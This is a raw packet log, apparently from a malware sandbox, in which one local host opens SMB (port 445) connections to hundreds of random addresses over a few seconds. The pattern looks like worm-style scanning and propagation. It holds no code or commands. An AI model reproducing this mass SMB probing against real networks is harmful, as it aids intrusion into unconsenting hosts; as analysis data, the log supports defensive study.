Jul 20, 2022 06:10:07.169051886 CEST	62639	445	192.168.2.6	24.249.78.224
Jul 20, 2022 06:10:07.169053078 CEST	62638	445	192.168.2.6	52.100.78.111
Jul 20, 2022 06:10:07.169873953 CEST	62653	445	192.168.2.6	80.55.227.223
Jul 20, 2022 06:10:07.170010090 CEST	62656	445	192.168.2.6	41.143.101.27
Jul 20, 2022 06:10:07.170258999 CEST	62660	445	192.168.2.6	102.94.128.167
Jul 20, 2022 06:10:07.170423985 CEST	62662	445	192.168.2.6	162.94.235.182
Jul 20, 2022 06:10:07.170965910 CEST	62670	445	192.168.2.6	37.21.160.173
Jul 20, 2022 06:10:07.171295881 CEST	62675	445	192.168.2.6	43.64.29.113
Jul 20, 2022 06:10:07.171437025 CEST	62678	445	192.168.2.6	89.81.135.40
Jul 20, 2022 06:10:07.171802998 CEST	62685	445	192.168.2.6	188.244.161.142
Jul 20, 2022 06:10:07.171818018 CEST	62686	445	192.168.2.6	222.134.40.209
Jul 20, 2022 06:10:07.229728937 CEST	62691	445	192.168.2.6	51.83.204.21
Jul 20, 2022 06:10:07.244986057 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:07.276259899 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:07.276618004 CEST	62692	445	192.168.2.6	176.241.42.149
Jul 20, 2022 06:10:07.354768038 CEST	62694	445	192.168.2.6	178.159.42.167
Jul 20, 2022 06:10:07.823587894 CEST	62702	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:07.992383957 CEST	445	62702	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:07.992538929 CEST	62702	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:07.992578983 CEST	62702	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:08.151751995 CEST	62715	445	192.168.2.6	13.146.194.51
Jul 20, 2022 06:10:08.151751995 CEST	62714	445	192.168.2.6	63.164.156.0
Jul 20, 2022 06:10:08.151875019 CEST	62716	445	192.168.2.6	84.126.190.219
Jul 20, 2022 06:10:08.162523031 CEST	445	62702	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:08.162705898 CEST	62702	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:08.245682001 CEST	62725	445	192.168.2.6	37.21.160.174
Jul 20, 2022 06:10:08.292409897 CEST	62726	445	192.168.2.6	82.189.149.126
Jul 20, 2022 06:10:08.292473078 CEST	62727	445	192.168.2.6	205.99.208.44
Jul 20, 2022 06:10:08.292809010 CEST	62733	445	192.168.2.6	149.144.64.99
Jul 20, 2022 06:10:08.293181896 CEST	62742	445	192.168.2.6	60.115.154.35
Jul 20, 2022 06:10:08.293514013 CEST	62750	445	192.168.2.6	10.113.34.113
Jul 20, 2022 06:10:08.293664932 CEST	62753	445	192.168.2.6	130.174.237.20
Jul 20, 2022 06:10:08.293848991 CEST	62756	445	192.168.2.6	167.148.40.121
Jul 20, 2022 06:10:08.293951035 CEST	62758	445	192.168.2.6	172.64.17.204
Jul 20, 2022 06:10:08.294528961 CEST	62772	445	192.168.2.6	62.174.100.205
Jul 20, 2022 06:10:08.294616938 CEST	62774	445	192.168.2.6	120.177.246.17
Jul 20, 2022 06:10:08.294945002 CEST	62780	445	192.168.2.6	164.220.204.29
Jul 20, 2022 06:10:08.294986963 CEST	62782	445	192.168.2.6	117.162.118.160
Jul 20, 2022 06:10:08.295075893 CEST	62783	445	192.168.2.6	5.19.188.186
Jul 20, 2022 06:10:08.295255899 CEST	62787	445	192.168.2.6	88.119.50.97
Jul 20, 2022 06:10:08.295331955 CEST	62788	445	192.168.2.6	156.193.31.202
Jul 20, 2022 06:10:08.295708895 CEST	62796	445	192.168.2.6	45.188.16.192
Jul 20, 2022 06:10:08.295841932 CEST	62797	445	192.168.2.6	3.7.87.88
Jul 20, 2022 06:10:08.307960987 CEST	62808	445	192.168.2.6	51.83.204.22
Jul 20, 2022 06:10:08.331695080 CEST	445	62702	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:08.331886053 CEST	62702	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:08.355186939 CEST	62809	445	192.168.2.6	176.241.42.150
Jul 20, 2022 06:10:08.371445894 CEST	445	62788	156.193.31.202	192.168.2.6
Jul 20, 2022 06:10:08.433017969 CEST	445	62797	3.7.87.88	192.168.2.6
Jul 20, 2022 06:10:08.433128119 CEST	62810	445	192.168.2.6	178.159.42.168
Jul 20, 2022 06:10:08.504081964 CEST	445	62702	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:08.559638023 CEST	62813	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:08.734141111 CEST	445	62813	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:08.734240055 CEST	62813	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:08.734379053 CEST	62813	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:08.737981081 CEST	62816	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:08.885744095 CEST	62788	445	192.168.2.6	156.193.31.202
Jul 20, 2022 06:10:08.904944897 CEST	445	62813	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:08.904973984 CEST	445	62813	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:08.906826019 CEST	445	62816	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:08.906925917 CEST	62816	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:08.948307037 CEST	62797	445	192.168.2.6	3.7.87.88
Jul 20, 2022 06:10:08.962721109 CEST	445	62788	156.193.31.202	192.168.2.6
Jul 20, 2022 06:10:09.063203096 CEST	62816	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:09.082550049 CEST	445	62797	3.7.87.88	192.168.2.6
Jul 20, 2022 06:10:09.232507944 CEST	445	62816	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:09.234213114 CEST	62816	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:09.264065027 CEST	62837	445	192.168.2.6	39.56.176.26
Jul 20, 2022 06:10:09.264152050 CEST	62838	445	192.168.2.6	93.91.25.114
Jul 20, 2022 06:10:09.264250994 CEST	62839	445	192.168.2.6	223.101.49.171
Jul 20, 2022 06:10:09.323712111 CEST	62840	445	192.168.2.6	37.21.160.175
Jul 20, 2022 06:10:09.386298895 CEST	62841	445	192.168.2.6	51.83.204.23
Jul 20, 2022 06:10:09.403677940 CEST	445	62816	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:09.403821945 CEST	62816	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:09.417591095 CEST	62842	445	192.168.2.6	53.53.229.208
Jul 20, 2022 06:10:09.418126106 CEST	62845	445	192.168.2.6	86.100.252.253
Jul 20, 2022 06:10:09.418761969 CEST	62848	445	192.168.2.6	132.242.121.27
Jul 20, 2022 06:10:09.419063091 CEST	62851	445	192.168.2.6	122.39.65.177
Jul 20, 2022 06:10:09.419393063 CEST	62853	445	192.168.2.6	164.105.153.192
Jul 20, 2022 06:10:09.421096087 CEST	62867	445	192.168.2.6	195.195.156.37
Jul 20, 2022 06:10:09.421456099 CEST	62869	445	192.168.2.6	139.214.232.192
Jul 20, 2022 06:10:09.422163963 CEST	62876	445	192.168.2.6	57.46.94.171
Jul 20, 2022 06:10:09.422278881 CEST	62877	445	192.168.2.6	78.142.203.195
Jul 20, 2022 06:10:09.422414064 CEST	62878	445	192.168.2.6	155.175.23.82
Jul 20, 2022 06:10:09.422836065 CEST	62882	445	192.168.2.6	112.147.15.217
Jul 20, 2022 06:10:09.423062086 CEST	62884	445	192.168.2.6	27.115.218.170
Jul 20, 2022 06:10:09.423729897 CEST	62891	445	192.168.2.6	180.21.58.132
Jul 20, 2022 06:10:09.423954010 CEST	62893	445	192.168.2.6	89.159.203.106
Jul 20, 2022 06:10:09.424963951 CEST	62903	445	192.168.2.6	121.253.75.249
Jul 20, 2022 06:10:09.425699949 CEST	62910	445	192.168.2.6	9.196.129.25
Jul 20, 2022 06:10:09.426528931 CEST	62918	445	192.168.2.6	205.139.189.221
Jul 20, 2022 06:10:09.432900906 CEST	62925	445	192.168.2.6	176.241.42.151
Jul 20, 2022 06:10:09.512214899 CEST	62926	445	192.168.2.6	178.159.42.169
Jul 20, 2022 06:10:09.574058056 CEST	445	62816	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:09.636945009 CEST	62929	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:09.688716888 CEST	445	62248	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:09.766005993 CEST	445	62929	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:09.766122103 CEST	62929	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:09.766163111 CEST	62929	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:10.151585102 CEST	62929	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:10.444463015 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:10.477289915 CEST	445	62932	134.220.131.5	192.168.2.6
Jul 20, 2022 06:10:10.477453947 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:10.496114016 CEST	62933	445	192.168.2.6	176.241.42.152
Jul 20, 2022 06:10:10.496295929 CEST	62934	445	192.168.2.6	51.83.204.24
Jul 20, 2022 06:10:10.496417046 CEST	62935	445	192.168.2.6	37.21.160.176
Jul 20, 2022 06:10:10.542476892 CEST	62936	445	192.168.2.6	124.90.55.150
Jul 20, 2022 06:10:10.543466091 CEST	62945	445	192.168.2.6	136.101.59.228
Jul 20, 2022 06:10:10.544956923 CEST	62960	445	192.168.2.6	45.95.235.138
Jul 20, 2022 06:10:10.545078039 CEST	62961	445	192.168.2.6	162.211.119.156
Jul 20, 2022 06:10:10.545212984 CEST	62962	445	192.168.2.6	177.220.113.6
Jul 20, 2022 06:10:10.558351994 CEST	62975	445	192.168.2.6	205.123.136.67
Jul 20, 2022 06:10:10.558609009 CEST	62977	445	192.168.2.6	184.9.149.96
Jul 20, 2022 06:10:10.559830904 CEST	62991	445	192.168.2.6	29.244.12.13
Jul 20, 2022 06:10:10.560012102 CEST	62993	445	192.168.2.6	113.207.191.66
Jul 20, 2022 06:10:10.560534954 CEST	63000	445	192.168.2.6	50.153.169.128
Jul 20, 2022 06:10:10.560678005 CEST	63001	445	192.168.2.6	35.79.23.134
Jul 20, 2022 06:10:10.560787916 CEST	63002	445	192.168.2.6	217.115.33.105
Jul 20, 2022 06:10:10.561235905 CEST	63006	445	192.168.2.6	105.91.145.186
Jul 20, 2022 06:10:10.561494112 CEST	63008	445	192.168.2.6	215.179.77.61
Jul 20, 2022 06:10:10.562212944 CEST	63015	445	192.168.2.6	72.230.232.140
Jul 20, 2022 06:10:10.562477112 CEST	63017	445	192.168.2.6	128.36.26.217
Jul 20, 2022 06:10:10.563518047 CEST	63027	445	192.168.2.6	160.116.83.66
Jul 20, 2022 06:10:10.564224005 CEST	63034	445	192.168.2.6	50.252.183.132
Jul 20, 2022 06:10:10.564598083 CEST	63037	445	192.168.2.6	20.163.92.67
Jul 20, 2022 06:10:10.564924955 CEST	63040	445	192.168.2.6	25.75.87.40
Jul 20, 2022 06:10:10.573384047 CEST	62929	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:10.589380980 CEST	63042	445	192.168.2.6	178.159.42.170
Jul 20, 2022 06:10:10.620603085 CEST	445	63042	178.159.42.170	192.168.2.6
Jul 20, 2022 06:10:10.792202950 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:11.057854891 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:11.135998964 CEST	63042	445	192.168.2.6	178.159.42.170
Jul 20, 2022 06:10:11.166739941 CEST	445	63042	178.159.42.170	192.168.2.6
Jul 20, 2022 06:10:11.339178085 CEST	62929	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:11.576845884 CEST	63048	445	192.168.2.6	176.241.42.153
Jul 20, 2022 06:10:11.576978922 CEST	63049	445	192.168.2.6	51.83.204.25
Jul 20, 2022 06:10:11.577083111 CEST	63050	445	192.168.2.6	37.21.160.177
Jul 20, 2022 06:10:11.652837992 CEST	63051	445	192.168.2.6	178.159.42.171
Jul 20, 2022 06:10:11.667243958 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:11.668656111 CEST	63053	445	192.168.2.6	109.26.70.153
Jul 20, 2022 06:10:11.669734001 CEST	63061	445	192.168.2.6	96.237.151.65
Jul 20, 2022 06:10:11.671128035 CEST	63076	445	192.168.2.6	55.167.45.206
Jul 20, 2022 06:10:11.671232939 CEST	63077	445	192.168.2.6	35.233.147.73
Jul 20, 2022 06:10:11.671360970 CEST	63078	445	192.168.2.6	161.12.24.70
Jul 20, 2022 06:10:11.683876038 CEST	63095	445	192.168.2.6	210.19.62.132
Jul 20, 2022 06:10:11.684854984 CEST	63105	445	192.168.2.6	92.171.42.214
Jul 20, 2022 06:10:11.685065031 CEST	63107	445	192.168.2.6	157.238.85.122
Jul 20, 2022 06:10:11.685739040 CEST	63114	445	192.168.2.6	121.110.145.53
Jul 20, 2022 06:10:11.685951948 CEST	63116	445	192.168.2.6	121.162.181.181
Jul 20, 2022 06:10:11.686486959 CEST	63120	445	192.168.2.6	175.210.158.175
Jul 20, 2022 06:10:11.686671019 CEST	63121	445	192.168.2.6	167.220.76.177
Jul 20, 2022 06:10:11.686791897 CEST	63122	445	192.168.2.6	96.104.236.156
Jul 20, 2022 06:10:11.717000961 CEST	63129	445	192.168.2.6	154.234.193.110
Jul 20, 2022 06:10:11.717232943 CEST	63131	445	192.168.2.6	165.155.111.200
Jul 20, 2022 06:10:11.718559027 CEST	63145	445	192.168.2.6	139.21.89.191
Jul 20, 2022 06:10:11.718776941 CEST	63147	445	192.168.2.6	13.113.170.173
Jul 20, 2022 06:10:11.719094992 CEST	63150	445	192.168.2.6	101.102.189.237
Jul 20, 2022 06:10:11.719417095 CEST	63153	445	192.168.2.6	221.171.62.75
Jul 20, 2022 06:10:11.719731092 CEST	63156	445	192.168.2.6	196.9.130.218
Jul 20, 2022 06:10:12.590338945 CEST	63163	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:12.636507988 CEST	63164	445	192.168.2.6	51.83.204.26
Jul 20, 2022 06:10:12.636512041 CEST	63165	445	192.168.2.6	37.21.160.178
Jul 20, 2022 06:10:12.636661053 CEST	63166	445	192.168.2.6	176.241.42.154
Jul 20, 2022 06:10:12.686480045 CEST	445	63166	176.241.42.154	192.168.2.6
Jul 20, 2022 06:10:12.715056896 CEST	63167	445	192.168.2.6	178.159.42.172
Jul 20, 2022 06:10:12.745666027 CEST	445	63167	178.159.42.172	192.168.2.6
Jul 20, 2022 06:10:12.762913942 CEST	445	63163	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:12.763065100 CEST	63163	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:12.763134003 CEST	63163	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:12.777116060 CEST	63168	445	192.168.2.6	212.70.200.209
Jul 20, 2022 06:10:12.777750969 CEST	63180	445	192.168.2.6	84.224.106.76
Jul 20, 2022 06:10:12.777878046 CEST	63182	445	192.168.2.6	216.54.164.54
Jul 20, 2022 06:10:12.777996063 CEST	63183	445	192.168.2.6	131.93.93.81
Jul 20, 2022 06:10:12.778630018 CEST	63196	445	192.168.2.6	179.79.203.12
Jul 20, 2022 06:10:12.809295893 CEST	63211	445	192.168.2.6	48.232.40.121
Jul 20, 2022 06:10:12.809829950 CEST	63221	445	192.168.2.6	66.198.44.254
Jul 20, 2022 06:10:12.809851885 CEST	63222	445	192.168.2.6	137.29.9.142
Jul 20, 2022 06:10:12.810336113 CEST	63230	445	192.168.2.6	196.208.10.144
Jul 20, 2022 06:10:12.810497046 CEST	63232	445	192.168.2.6	20.205.229.98
Jul 20, 2022 06:10:12.810743093 CEST	63236	445	192.168.2.6	136.95.140.130
Jul 20, 2022 06:10:12.810820103 CEST	63237	445	192.168.2.6	180.77.200.124
Jul 20, 2022 06:10:12.810921907 CEST	63238	445	192.168.2.6	93.237.235.15
Jul 20, 2022 06:10:12.833712101 CEST	445	63168	212.70.200.209	192.168.2.6
Jul 20, 2022 06:10:12.840451002 CEST	63245	445	192.168.2.6	174.153.11.213
Jul 20, 2022 06:10:12.840511084 CEST	63246	445	192.168.2.6	160.166.74.125
Jul 20, 2022 06:10:12.841061115 CEST	63259	445	192.168.2.6	35.217.95.80
Jul 20, 2022 06:10:12.841280937 CEST	63263	445	192.168.2.6	30.237.3.187
Jul 20, 2022 06:10:12.841456890 CEST	63266	445	192.168.2.6	106.85.249.200
Jul 20, 2022 06:10:12.841726065 CEST	63272	445	192.168.2.6	111.143.195.242
Jul 20, 2022 06:10:12.850755930 CEST	63269	445	192.168.2.6	24.76.226.19
Jul 20, 2022 06:10:12.870560884 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:12.893789053 CEST	445	62929	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:12.934005976 CEST	445	63163	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:12.934153080 CEST	63163	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:12.949687958 CEST	63275	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.078537941 CEST	445	63275	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:13.078717947 CEST	63275	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.078860044 CEST	63275	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.079514027 CEST	63277	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.105549097 CEST	445	63163	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:13.105694056 CEST	63163	445	192.168.2.6	107.186.37.33
Jul 20, 2022 06:10:13.210903883 CEST	445	63277	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:13.211041927 CEST	63277	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.211149931 CEST	63277	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.278053999 CEST	445	63163	107.186.37.33	192.168.2.6
Jul 20, 2022 06:10:13.340215921 CEST	63279	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.370501041 CEST	63166	445	192.168.2.6	176.241.42.154
Jul 20, 2022 06:10:13.370695114 CEST	63167	445	192.168.2.6	178.159.42.172
Jul 20, 2022 06:10:13.399548054 CEST	445	63167	178.159.42.172	192.168.2.6
Jul 20, 2022 06:10:13.419123888 CEST	445	63166	176.241.42.154	192.168.2.6
Jul 20, 2022 06:10:13.479952097 CEST	63168	445	192.168.2.6	212.70.200.209
Jul 20, 2022 06:10:13.513307095 CEST	445	63279	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:13.513437986 CEST	63279	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.513531923 CEST	63279	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.514015913 CEST	63281	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.538981915 CEST	445	63168	212.70.200.209	192.168.2.6
Jul 20, 2022 06:10:13.558110952 CEST	63275	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.667490005 CEST	63277	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:13.686517954 CEST	445	63279	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:13.686542034 CEST	445	63279	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:13.687808037 CEST	445	63281	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:13.687897921 CEST	63281	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.687974930 CEST	63281	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.698998928 CEST	63282	445	192.168.2.6	176.241.42.155
Jul 20, 2022 06:10:13.699167967 CEST	63283	445	192.168.2.6	37.21.160.179
Jul 20, 2022 06:10:13.699204922 CEST	63284	445	192.168.2.6	51.83.204.27
Jul 20, 2022 06:10:13.777988911 CEST	63287	445	192.168.2.6	178.159.42.173
Jul 20, 2022 06:10:13.860076904 CEST	445	63281	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:13.860214949 CEST	63281	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:13.886816025 CEST	63291	445	192.168.2.6	141.105.235.215
Jul 20, 2022 06:10:13.887401104 CEST	63300	445	192.168.2.6	176.11.76.184
Jul 20, 2022 06:10:13.887564898 CEST	63302	445	192.168.2.6	79.68.238.186
Jul 20, 2022 06:10:13.887818098 CEST	63306	445	192.168.2.6	52.47.61.236
Jul 20, 2022 06:10:13.888372898 CEST	63314	445	192.168.2.6	198.15.124.42
Jul 20, 2022 06:10:13.933657885 CEST	63327	445	192.168.2.6	136.190.35.68
Jul 20, 2022 06:10:13.933716059 CEST	63328	445	192.168.2.6	116.225.45.136
Jul 20, 2022 06:10:13.934174061 CEST	63332	445	192.168.2.6	16.141.190.153
Jul 20, 2022 06:10:13.934477091 CEST	63334	445	192.168.2.6	207.252.68.116
Jul 20, 2022 06:10:13.935045958 CEST	63341	445	192.168.2.6	5.253.82.19
Jul 20, 2022 06:10:13.935564995 CEST	63350	445	192.168.2.6	103.181.51.29
Jul 20, 2022 06:10:13.935898066 CEST	63356	445	192.168.2.6	56.246.105.161
Jul 20, 2022 06:10:13.936043978 CEST	63359	445	192.168.2.6	108.242.98.241
Jul 20, 2022 06:10:13.949054003 CEST	63362	445	192.168.2.6	110.165.18.82
Jul 20, 2022 06:10:13.949263096 CEST	63365	445	192.168.2.6	8.214.82.80
Jul 20, 2022 06:10:13.949404955 CEST	63367	445	192.168.2.6	55.61.221.188
Jul 20, 2022 06:10:13.949655056 CEST	63372	445	192.168.2.6	5.98.120.58
Jul 20, 2022 06:10:13.949923038 CEST	63375	445	192.168.2.6	83.12.204.32
Jul 20, 2022 06:10:13.950483084 CEST	63386	445	192.168.2.6	81.147.89.25
Jul 20, 2022 06:10:13.950820923 CEST	63391	445	192.168.2.6	198.83.75.205
Jul 20, 2022 06:10:14.030776024 CEST	445	63281	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:14.030996084 CEST	63281	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:14.104974985 CEST	63277	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:14.204108000 CEST	445	63281	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:14.323743105 CEST	63275	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:14.777916908 CEST	63398	445	192.168.2.6	37.21.160.180
Jul 20, 2022 06:10:14.778069019 CEST	63399	445	192.168.2.6	176.241.42.156
Jul 20, 2022 06:10:14.778070927 CEST	63400	445	192.168.2.6	51.83.204.28
Jul 20, 2022 06:10:14.855483055 CEST	63403	445	192.168.2.6	178.159.42.174
Jul 20, 2022 06:10:14.886337996 CEST	63277	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:15.011920929 CEST	63405	445	192.168.2.6	76.207.201.251
Jul 20, 2022 06:10:15.012852907 CEST	63417	445	192.168.2.6	68.209.115.220
Jul 20, 2022 06:10:15.012862921 CEST	63418	445	192.168.2.6	131.186.112.10
Jul 20, 2022 06:10:15.013135910 CEST	63422	445	192.168.2.6	80.110.158.162
Jul 20, 2022 06:10:15.013572931 CEST	63430	445	192.168.2.6	120.93.87.127
Jul 20, 2022 06:10:15.059070110 CEST	63443	445	192.168.2.6	175.111.134.117
Jul 20, 2022 06:10:15.059231997 CEST	63444	445	192.168.2.6	112.190.42.246
Jul 20, 2022 06:10:15.059497118 CEST	63447	445	192.168.2.6	28.124.194.25
Jul 20, 2022 06:10:15.059650898 CEST	63449	445	192.168.2.6	212.221.26.212
Jul 20, 2022 06:10:15.060175896 CEST	63456	445	192.168.2.6	66.187.144.214
Jul 20, 2022 06:10:15.060950041 CEST	63466	445	192.168.2.6	88.14.41.165
Jul 20, 2022 06:10:15.061378956 CEST	63472	445	192.168.2.6	145.4.192.85
Jul 20, 2022 06:10:15.061640978 CEST	63475	445	192.168.2.6	136.207.217.139
Jul 20, 2022 06:10:15.074892998 CEST	63478	445	192.168.2.6	211.111.86.218
Jul 20, 2022 06:10:15.075400114 CEST	63482	445	192.168.2.6	215.12.136.176
Jul 20, 2022 06:10:15.075453043 CEST	63483	445	192.168.2.6	147.100.131.116
Jul 20, 2022 06:10:15.076036930 CEST	63488	445	192.168.2.6	130.168.193.34
Jul 20, 2022 06:10:15.076493979 CEST	63493	445	192.168.2.6	179.205.13.214
Jul 20, 2022 06:10:15.077477932 CEST	63502	445	192.168.2.6	19.57.140.157
Jul 20, 2022 06:10:15.078061104 CEST	63509	445	192.168.2.6	122.168.55.74
Jul 20, 2022 06:10:15.276952028 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:15.839469910 CEST	63275	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:15.840374947 CEST	63515	445	192.168.2.6	176.241.42.157
Jul 20, 2022 06:10:15.840395927 CEST	63516	445	192.168.2.6	37.21.160.181
Jul 20, 2022 06:10:15.840549946 CEST	63517	445	192.168.2.6	51.83.204.29
Jul 20, 2022 06:10:15.933748007 CEST	63518	445	192.168.2.6	178.159.42.175
Jul 20, 2022 06:10:15.964766979 CEST	445	63518	178.159.42.175	192.168.2.6
Jul 20, 2022 06:10:16.137486935 CEST	63525	445	192.168.2.6	172.75.120.115
Jul 20, 2022 06:10:16.137857914 CEST	63533	445	192.168.2.6	219.242.143.199
Jul 20, 2022 06:10:16.137984037 CEST	63535	445	192.168.2.6	96.108.8.141
Jul 20, 2022 06:10:16.138144016 CEST	63538	445	192.168.2.6	168.198.72.86
Jul 20, 2022 06:10:16.138628960 CEST	63547	445	192.168.2.6	130.100.138.143
Jul 20, 2022 06:10:16.184017897 CEST	63562	445	192.168.2.6	92.147.108.34
Jul 20, 2022 06:10:16.184266090 CEST	63566	445	192.168.2.6	151.77.171.219
Jul 20, 2022 06:10:16.184426069 CEST	63567	445	192.168.2.6	82.130.213.3
Jul 20, 2022 06:10:16.184540987 CEST	63569	445	192.168.2.6	158.42.252.155
Jul 20, 2022 06:10:16.184747934 CEST	63572	445	192.168.2.6	191.24.169.125
Jul 20, 2022 06:10:16.184892893 CEST	63574	445	192.168.2.6	93.65.215.81
Jul 20, 2022 06:10:16.185183048 CEST	63582	445	192.168.2.6	217.62.18.78
Jul 20, 2022 06:10:16.185698032 CEST	63593	445	192.168.2.6	135.85.146.103
Jul 20, 2022 06:10:16.199433088 CEST	63596	445	192.168.2.6	141.164.91.24
Jul 20, 2022 06:10:16.199773073 CEST	63602	445	192.168.2.6	62.198.11.80
Jul 20, 2022 06:10:16.200074911 CEST	63607	445	192.168.2.6	134.176.57.205
Jul 20, 2022 06:10:16.200537920 CEST	63615	445	192.168.2.6	28.75.246.3
Jul 20, 2022 06:10:16.200840950 CEST	63620	445	192.168.2.6	150.25.197.44
Jul 20, 2022 06:10:16.201024055 CEST	63623	445	192.168.2.6	213.40.114.236
Jul 20, 2022 06:10:16.201055050 CEST	63624	445	192.168.2.6	32.214.233.253
Jul 20, 2022 06:10:16.209139109 CEST	445	63275	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:16.339745998 CEST	445	63277	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:16.464596987 CEST	63518	445	192.168.2.6	178.159.42.175
Jul 20, 2022 06:10:16.495234013 CEST	445	63518	178.159.42.175	192.168.2.6
Jul 20, 2022 06:10:16.511224985 CEST	445	60671	120.157.17.48	192.168.2.6
Jul 20, 2022 06:10:16.902585983 CEST	63632	445	192.168.2.6	176.241.42.158
Jul 20, 2022 06:10:16.902590990 CEST	63633	445	192.168.2.6	37.21.160.182
Jul 20, 2022 06:10:16.902721882 CEST	63634	445	192.168.2.6	51.83.204.30
Jul 20, 2022 06:10:16.953197956 CEST	445	63632	176.241.42.158	192.168.2.6
Jul 20, 2022 06:10:16.996210098 CEST	63635	445	192.168.2.6	178.159.42.176
Jul 20, 2022 06:10:17.011517048 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:10:17.074456930 CEST	63638	445	192.168.2.6	186.65.200.2
Jul 20, 2022 06:10:17.215684891 CEST	63639	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:17.246292114 CEST	63640	445	192.168.2.6	128.56.131.183
Jul 20, 2022 06:10:17.246750116 CEST	63648	445	192.168.2.6	47.121.129.107
Jul 20, 2022 06:10:17.247749090 CEST	63667	445	192.168.2.6	40.127.77.158
Jul 20, 2022 06:10:17.248361111 CEST	63676	445	192.168.2.6	67.50.229.161
Jul 20, 2022 06:10:17.248449087 CEST	63677	445	192.168.2.6	75.194.198.32
Jul 20, 2022 06:10:17.293512106 CEST	63688	445	192.168.2.6	63.230.129.70
Jul 20, 2022 06:10:17.293929100 CEST	63696	445	192.168.2.6	23.228.162.104
Jul 20, 2022 06:10:17.293958902 CEST	63697	445	192.168.2.6	169.173.173.56
Jul 20, 2022 06:10:17.294214964 CEST	63701	445	192.168.2.6	11.31.194.109
Jul 20, 2022 06:10:17.294400930 CEST	63705	445	192.168.2.6	92.200.253.218
Jul 20, 2022 06:10:17.294404030 CEST	63704	445	192.168.2.6	42.154.80.124
Jul 20, 2022 06:10:17.294715881 CEST	63710	445	192.168.2.6	15.71.106.117
Jul 20, 2022 06:10:17.294869900 CEST	63713	445	192.168.2.6	222.76.103.234
Jul 20, 2022 06:10:17.324598074 CEST	63714	445	192.168.2.6	210.128.192.132
